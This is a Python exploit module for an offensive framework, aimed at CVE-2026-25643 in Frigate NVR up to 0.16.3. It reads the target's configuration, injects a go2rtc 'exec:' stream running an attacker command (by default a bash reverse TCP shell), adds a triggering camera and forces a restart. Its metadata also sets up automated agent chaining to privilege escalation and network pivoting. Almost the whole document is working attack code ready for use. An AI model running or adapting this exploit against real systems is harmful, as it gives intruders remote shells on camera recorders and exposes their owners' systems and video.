Frigate NVR blind RCE (CVE-2026-25643)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import json
import time

import yaml

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        "name": "Frigate NVR blind RCE (CVE-2026-25643)",
        "description": (
            "Exploits CVE-2026-25643 in Frigate NVR <= 0.16.3 by injecting a malicious "
            "go2rtc stream and camera entry into the configuration, triggering blind command "
            "execution during service restart (authenticated or unauthenticated)."
        ),
        "author": ["joshuavanderpoll", "jduardo2704", "KittySploit Team"],
        "cve": "CVE-2026-25643",
        "platform": Platform.LINUX,
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "references": [
            "https://github.com/jduardo2704/CVE-2026-25643-Frigate-RCE",
        ],
        "tags": ["frigate", "nvr", "go2rtc", "config-injection", "rce", "blind"],
        "dependencies": ["PyYAML"],
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation', 'config_change'],
        'expected_requests': 4,
        'reversible': False,
        'approval_required': True,
        'produces': ['exploit_paths', 'risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''},
                                   {'capability': 'shell', 'from_detail': ''}],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': ['post/shell/multi/gather/privesc_suggester',
                                 'post/shell/multi/manage/pivot_autoroute']},
    },
    }

    base_path = OptString("/", "Frigate base path", required=False)
    port = OptPort(5000, "Target port", required=True)
    ssl = OptBool(False, "Use HTTPS", required=True)
    username = OptString("", "Frigate username (optional)", required=False)
    password = OptString("", "Frigate password (optional)", required=False)
    command = OptString("", "Command to execute (overrides payload)", required=False)
    save_option = OptString("restart", "Config save option passed to /api/config/save", required=False)
    stream_name = OptString("debug_cmd", "Malicious go2rtc stream name", required=False, advanced=True)
    camera_name = OptString("trigger_exec", "Trigger camera name", required=False, advanced=True)

    def _prefix(self) -> str:
        base = str(self.base_path or "/").strip() or "/"
        if not base.startswith("/"):
            base = "/" + base
        return base.rstrip("/")

    def _api_path(self, suffix: str) -> str:
        prefix = self._prefix()
        if not suffix.startswith("/"):
            suffix = "/" + suffix
        return f"{prefix}{suffix}" if prefix else suffix

    @staticmethod
    def _version_gte(v1: str, v2: str) -> bool:
        def norm(v: str):
            out = []
            for token in str(v).split("."):
                digits = "".join(ch for ch in token if ch.isdigit())
                out.append(int(digits) if digits else 0)
            while len(out) < 3:
                out.append(0)
            return tuple(out[:3])

        return norm(v1) >= norm(v2)

    def _login(self) -> bool:
        user = str(self.username or "").strip()
        pwd = str(self.password or "")
        if not user or not pwd:
            return False

        print_info(f"Authenticating as {user!r} ...")
        response = self.http_request(
            method="POST",
            path=self._api_path("/api/login"),
            json={"user": user, "password": pwd},
            timeout=max(int(self.timeout or 12), 12),
        )
        if response and response.status_code == 200:
            print_success("Login successful")
            return True

        status = response.status_code if response else "no response"
        print_warning(f"Login failed (HTTP {status})")
        return False

    def _fetch_version(self) -> str:
        response = self.http_request(
            method="GET",
            path=self._api_path("/api/version"),
            timeout=max(int(self.timeout or 12), 12),
        )
        if not response or response.status_code != 200:
            return ""

        try:
            data = response.json()
        except Exception:
            return ""

        if isinstance(data, dict):
            return str(data.get("version") or data.get("frigate") or "").strip()
        return str(data).strip()

    def _fetch_config(self):
        print_info("Fetching configuration from /api/config/raw ...")
        response = self.http_request(
            method="GET",
            path=self._api_path("/api/config/raw"),
            timeout=max(int(self.timeout or 12), 12),
        )
        if not response:
            print_error("No response from /api/config/raw")
            return None

        if response.status_code != 200:
            print_error(f"Cannot read config (HTTP {response.status_code})")
            return None

        content = (response.text or "").strip()
        if content.startswith('"') and content.endswith('"'):
            try:
                content = json.loads(content)
            except json.JSONDecodeError:
                pass

        try:
            config = yaml.safe_load(content)
        except yaml.YAMLError as exc:
            print_error(f"YAML parsing failed: {exc}")
            return None

        if not isinstance(config, dict):
            print_error("Parsed config is not a dictionary")
            return None

        print_success(f"Config parsed ({len(config)} top-level keys)")
        return config

    def _inject_command(self, config: dict, cmd: str) -> dict:
        payload = f"bash -c '{cmd}'"
        stream = str(self.stream_name or "debug_cmd")
        camera = str(self.camera_name or "trigger_exec")

        go2rtc = config.setdefault("go2rtc", {})
        streams = go2rtc.setdefault("streams", {})
        streams[stream] = [f"exec:{payload}"]

        cameras = config.setdefault("cameras", {})
        cameras[camera] = {
            "ffmpeg": {
                "inputs": [{
                    "path": f"rtsp://127.0.0.1:8554/{stream}",
                    "roles": ["detect"],
                }],
            },
            "detect": {"enabled": False},
            "audio": {"enabled": False},
            "enabled": True,
        }
        return config

    def _send_config(self, config: dict) -> bool:
        yaml_payload = yaml.dump(config, allow_unicode=True, sort_keys=False)
        option = str(self.save_option or "restart")
        print_info(f"Sending modified config ({len(yaml_payload.encode()):,} bytes, save_option={option})")

        try:
            response = self.http_request(
                method="POST",
                path=self._api_path(f"/api/config/save?save_option={option}"),
                data=yaml_payload,
                headers={"Content-Type": "text/plain"},
                timeout=max(int(self.timeout or 10), 10),
            )
        except Exception as exc:
            print_warning(f"Config save request failed: {exc}")
            return True

        if response and response.status_code in (200, 204):
            print_success("Configuration accepted (server should restart)")
            return True

        status = response.status_code if response else "no response"
        print_warning(f"Config save returned HTTP {status}")
        if response and (response.text or "").strip():
            print_info((response.text or "")[:300])
        return False

    def _resolve_command(self) -> str:
        custom = str(self.command or "").strip()
        if custom:
            return custom
        raw = self.payload
        if isinstance(raw, bytes):
            return raw.decode("utf-8", errors="ignore")
        return str(raw or "").strip()

    def check(self):
        if self.username and self.password:
            self._login()

        version = self._fetch_version()
        if version and self._version_gte(version, "0.16.4"):
            return {
                "vulnerable": False,
                "reason": f"Frigate {version} appears patched (>= 0.16.4)",
                "confidence": "high",
            }

        config = self._fetch_config()
        if config is None:
            return {
                "vulnerable": False,
                "reason": "Cannot read /api/config/raw",
                "confidence": "low",
            }

        reason = "Frigate configuration readable via /api/config/raw"
        if version:
            reason = f"{reason} (version {version})"
        return {
            "vulnerable": True,
            "reason": reason,
            "confidence": "high" if version else "medium",
        }

    def run(self):
        cmd = self._resolve_command()
        if not cmd:
            print_error("No command provided and payload generation failed")
            return False

        if self.username and self.password:
            self._login()
        elif not str(self.username or "").strip() and not str(self.password or "").strip():
            print_warning("No credentials provided — attempting unauthenticated access")

        config = self._fetch_config()
        if config is None:
            print_error("Exploit aborted — cannot read configuration")
            self.not_vulnerable()
            return False

        version = self._fetch_version()
        if version and self._version_gte(version, "0.16.4"):
            print_error(f"Frigate {version} appears patched (>= 0.16.4)")
            self.not_vulnerable()
            return False

        print_info(f"Injecting blind command: {cmd}")
        modified = self._inject_command(config, cmd)
        time.sleep(1.2)

        accepted = self._send_config(modified)
        if not accepted:
            self.not_vulnerable()
            return False

        print_success("Payload sent — command should run during go2rtc init / camera probe")
        print_info("Blind execution: output is not captured; multiple runs may occur on restart")
        self.vulnerable()
        return True